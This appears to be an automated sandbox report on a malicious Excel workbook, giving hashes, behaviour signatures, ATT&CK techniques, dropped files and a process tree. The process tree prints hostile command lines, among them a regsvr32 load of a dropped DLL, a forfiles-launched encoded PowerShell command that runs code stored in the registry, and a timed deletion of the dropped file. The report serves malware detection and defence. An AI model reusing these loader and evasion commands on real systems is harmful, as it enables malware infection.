Analysis

  • max time kernel
    139s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13-11-2020 10:08

General

  • Target

    Information.xlsb

  • Size

    20KB

  • MD5

    4dddb0320eac6050d6360c92c104d05c

  • SHA1

    816db7af62de3dc200b88357a5341c6ce184cc93

  • SHA256

    ae87b82d817d363b159e072be2e2017dfe0bcf7fd3bc6a7c9dee0ff885eefc5f

  • SHA512

    b177b5faa839aeead6c9c732b0182b928903dd34e02d968b95cd93b2f3f01c3b72043c9dafcb6a96a9d1eeb67e4e12abaf537f7ac32b3d166d7f82914844881d

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Loads dropped DLL 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 28 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3040
      • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Information.xlsb"
        2⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1048
        • C:\Windows\SYSTEM32\regsvr32.exe
          regsvr32 -s C:\ProgramData\Dori.ocx
          3⤵
          • Process spawned unexpected child process
          • Suspicious use of WriteProcessMemory
          PID:672
          • C:\Windows\SysWOW64\regsvr32.exe
            -s C:\ProgramData\Dori.ocx
            4⤵
            • Loads dropped DLL
            PID:644
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /min forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATgBlAHQAaQBkACcAKQAuAFQA & exit" /p C:\Windows\system32 /s /m po*l.e*e
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2212
        • C:\Windows\system32\forfiles.exe
          forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATgBlAHQAaQBkACcAKQAuAFQA & exit" /p C:\Windows\system32 /s /m po*l.e*e
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3928
          • C:\Windows\system32\cmd.exe
            /k "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATgBlAHQAaQBkACcAKQAuAFQA & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3172
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATgBlAHQAaQBkACcAKQAuAFQA
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1460
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\btyibkn2\btyibkn2.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3656
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3C5E.tmp" "c:\Users\Admin\AppData\Local\Temp\btyibkn2\CSC15F867EB6A1C4A98AA499F9BA5721F7.TMP"
                  7⤵
                    PID:3804
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t3uxnskv\t3uxnskv.cmdline"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3188
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3D19.tmp" "c:\Users\Admin\AppData\Local\Temp\t3uxnskv\CSCA1809FBDE8B8427D903D5E85B3BAFD32.TMP"
                    7⤵
                      PID:616
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C timeout /t 5 && del "C:\ProgramData\Dori.ocx"
            2⤵
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:1800
            • C:\Windows\system32\timeout.exe
              timeout /t 5
              3⤵
              • Delays execution with timeout.exe
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              PID:3080
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1348
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1348 CREDAT:82945 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2536

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Defense Evasion

        Modify Registry

        1
        T1112

        Discovery

        Query Registry

        2
        T1012

        System Information Discovery

        2
        T1082

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\Dori.ocx
          MD5

          745868c40e6f1d1d40ae60335417f6d7

          SHA1

          cfe42b4014fc22596b4305271c4a133492603349

          SHA256

          7a5e4fd35a1a636ef1beb7e62cc647d7e63f5c7aadd2aa1a49d49c81183aca93

          SHA512

          fae585aa131dfa0c5063991fe13938f73c83d78b43ee142ca39e767ec7db6ec7bb419522b4c0c6c210163b05e95db896388446dd8b70b7a29d4c6fe31d130b18

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08
          MD5

          a69fba04d9b13e82fb772d1b38b6054a

          SHA1

          f7ab8c1d32ddc58e13f65f9b8bb0cc844f164454

          SHA256

          733d04f9d9e1fdf85914f097cca3f8bfb3926c38a7ccf69e7c74d887abbc64ff

          SHA512

          6fae50c73cc08c48d5ecb6814785f82c46ded1dc00ba9a8b02a9b2bd907a10bba6015e0a5753487a12765db242162ce4f822bf5d3381a71ae2143c9f5d34669a

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08
          MD5

          1d813802e31ab8f67fff786fec7006b4

          SHA1

          63d22e24c70a3fac1ed61358ce1e99e3cf892bdf

          SHA256

          9923cd9760500e815cb0a1ca7cf7023b7fd5645688914d2c5a625156454d58a8

          SHA512

          4796a63c5c75fc6f0c92b78b8acda488db593a9551e674c23004b71dc558c8de2fe555d9ac495b1d70fe3fb188031c78a3923b361aa148707450f81f8ec1275d

        • C:\Users\Admin\AppData\Local\Temp\RES3C5E.tmp
          MD5

          67480ecb87893c5981de203a3332bbe0

          SHA1

          9c2364143e281b3d993034fd7290c2412ab68185

          SHA256

          dcbed6d6c4ec7399c1d5e1066e2502e31998f8b52c9417320ebe070e45bb5d46

          SHA512

          6c4f317d2be27648b6b1bac126cffe3ca7e767958eba5006f4ec651c8bea550f17117a495d405a76253de18d0992705ccd3b850be6729c09afc0851254997d1d

        • C:\Users\Admin\AppData\Local\Temp\RES3D19.tmp
          MD5

          066d543bb969bbadd2616f2271b1cc27

          SHA1

          c3103317f37fabccb9aa3780361715cbc17f6af8

          SHA256

          0219fea6ffd18be2b657463828eccd928c85ab70320d05b27ba00bd37009882a

          SHA512

          1da7ef49244b6b80c75cbdc77c56e94c39a2398e4d2193c4001a048eda5eea8350e51a3ffeb680a5ac48308753b5d378a271c6c45aef9110590d4ec2bb2dcb4e

        • C:\Users\Admin\AppData\Local\Temp\btyibkn2\btyibkn2.dll
          MD5

          5ae7e66f34db664a08814f011611203b

          SHA1

          71a8e52a4a215dd516be5c4ed113bd18e3c9f9d6

          SHA256

          3c71e9b354f9af22172ea41ecdfa9d3307355fb22828cf8d28ce6ddca18a28eb

          SHA512

          cb45fb15e0ef49856ffe18880350260a9ce275521be84b9748a24efd44b3465ce19fc7a55e2115ff1299accba595e885dc56a4fa00a206209110fa622ffead85

        • C:\Users\Admin\AppData\Local\Temp\t3uxnskv\t3uxnskv.dll
          MD5

          a8c23fbd46fc67d7ee0159be0ba17de0

          SHA1

          11057cb57bab06ebefa86642e885553ce8afaf52

          SHA256

          c91d093e4860e49b503b6aa230ae8af006a5e5b24b4dd6fe20df9a74753175ba

          SHA512

          58df70d22fec0a6d6d724686129b92e51e261b65070a0110a471e67899ebdb9361a75b0f215c0d75f0135f8524fbfdb5fbf9099cb43bf5dbea0d75c700486953

        • \??\c:\Users\Admin\AppData\Local\Temp\btyibkn2\CSC15F867EB6A1C4A98AA499F9BA5721F7.TMP
          MD5

          468c6b4f7263bfd03f8bac4fba9ca406

          SHA1

          9c27cbf4ef34591ac9b86dc425d533146271aaaa

          SHA256

          754617d0f90e899d4b56322ac0047233ad9930f33b0681fa16423ffc6b5b2851

          SHA512

          75e29bfa9fe4c8512d9558d00734369e465c6d136e637dede3dcc6dd7848b078c9fc5488f877e86c77422f3aaf3ef0296b10d6ffd4c32a20ae18b7e8797f9395

        • \??\c:\Users\Admin\AppData\Local\Temp\btyibkn2\btyibkn2.0.cs
          MD5

          aee5ecef6b6a9b4372991443276b71ce

          SHA1

          911bd26fba4c5e51423f2c6339cc267f8697f339

          SHA256

          90e03a7c9cb196fd260c54663a4c867f33621ac29746cd8c0a4b2aa9b390754a

          SHA512

          cf99d4941aa5d1a4dd3abd5ca7a4d3d19a7f497c3247fd09505e263a9a4646b81eb19d7a9312b17a00d22ca9881b6d725b76013b7dc470dcc964b77970c96cc3

        • \??\c:\Users\Admin\AppData\Local\Temp\btyibkn2\btyibkn2.cmdline
          MD5

          9fbb423672ec5c7bae14859e2108492a

          SHA1

          2e3f9782bf8752d510df47779eadbeb478787ca8

          SHA256

          9b93200474ffc08829d18a2ff651928f79ea152e2e4caa8ddd66aeebc336fb01

          SHA512

          7100041e599d7e73d115e99f17d5a2afe7269b02a1d289aa24358b462638f20102cccb028b688ce0b5660172abe2a5b525ec610d90b0de2a45fedeeeb3f2b2d8

        • \??\c:\Users\Admin\AppData\Local\Temp\t3uxnskv\CSCA1809FBDE8B8427D903D5E85B3BAFD32.TMP
          MD5

          626e6038d6b3b66969e2505a61126f46

          SHA1

          e6029d0bd335c5ab8e04bb92bf6f1f3cd7026719

          SHA256

          836533123405cb30f167d01a10e634df296653f6dc03c8b4a9e82576d41be820

          SHA512

          cf0dc1101be01498d9c14b098844445d4bdefe313669881a01175884885af2993c1a41f5f2d0993a1cd0c4b368612699d8585b0b8007deef13ad29651845122e

        • \??\c:\Users\Admin\AppData\Local\Temp\t3uxnskv\t3uxnskv.0.cs
          MD5

          a5043957e07dbe0dee7bb8aad13a403e

          SHA1

          571c9136e0e90d016dd83b24c40eadbf7186c701

          SHA256

          73775570d08cc971668d853274b7c9a0cfb407cf76480747b9e38542e5dc53c9

          SHA512

          14f98e4902059980ed8f46c72fdefeb404f14df0fa06628476d63f9bb9ed76fd6398abd4de8c1de7dfa2a8b2108c31e2b9b668acfc92958c1eecc4a0c8d656a1

        • \??\c:\Users\Admin\AppData\Local\Temp\t3uxnskv\t3uxnskv.cmdline
          MD5

          5b0126987d91b180088e080cce947a94

          SHA1

          8b4165fbaaa5e6401ae03a3fdc99bdbd62488b93

          SHA256

          6f9f9a630c4d9f064589d570a8d7c0c7d3f2f9567b419d5270fb1b44c2d62482

          SHA512

          74c53208e26d39c326d592be1cd2bf82a2f7822e17287a80e156c275ec25fc43536e77946b7d521ca3cd8a817cf3488d6a9d196397be38912588a615abfd3ad3

        • \ProgramData\Dori.ocx
          MD5

          745868c40e6f1d1d40ae60335417f6d7

          SHA1

          cfe42b4014fc22596b4305271c4a133492603349

          SHA256

          7a5e4fd35a1a636ef1beb7e62cc647d7e63f5c7aadd2aa1a49d49c81183aca93

          SHA512

          fae585aa131dfa0c5063991fe13938f73c83d78b43ee142ca39e767ec7db6ec7bb419522b4c0c6c210163b05e95db896388446dd8b70b7a29d4c6fe31d130b18

        • memory/616-27-0x0000000000000000-mapping.dmp
        • memory/644-3-0x0000000000000000-mapping.dmp
        • memory/644-5-0x0000000003400000-0x0000000003412000-memory.dmp
          Filesize

          72KB

        • memory/672-1-0x0000000000000000-mapping.dmp
        • memory/1048-0-0x00007FFEA3F70000-0x00007FFEA45A7000-memory.dmp
          Filesize

          6.2MB

        • memory/1460-33-0x0000026B427C0000-0x0000026B427D8000-memory.dmp
          Filesize

          96KB

        • memory/1460-15-0x0000026B42640000-0x0000026B42641000-memory.dmp
          Filesize

          4KB

        • memory/1460-31-0x0000026B425F0000-0x0000026B425F1000-memory.dmp
          Filesize

          4KB

        • memory/1460-14-0x0000026B42370000-0x0000026B42371000-memory.dmp
          Filesize

          4KB

        • memory/1460-23-0x0000026B425E0000-0x0000026B425E1000-memory.dmp
          Filesize

          4KB

        • memory/1460-13-0x00007FFE9AE20000-0x00007FFE9B80C000-memory.dmp
          Filesize

          9.9MB

        • memory/1460-12-0x0000000000000000-mapping.dmp
        • memory/1800-34-0x000001F8480C0000-0x000001F8480D8000-memory.dmp
          Filesize

          96KB

        • memory/2536-6-0x0000000000000000-mapping.dmp
        • memory/3080-35-0x0000000000000000-mapping.dmp
        • memory/3172-11-0x0000000000000000-mapping.dmp
        • memory/3188-24-0x0000000000000000-mapping.dmp
        • memory/3656-16-0x0000000000000000-mapping.dmp
        • memory/3804-19-0x0000000000000000-mapping.dmp
        • memory/3928-10-0x0000000000000000-mapping.dmp
        • memory/3928-9-0x0000000000000000-mapping.dmp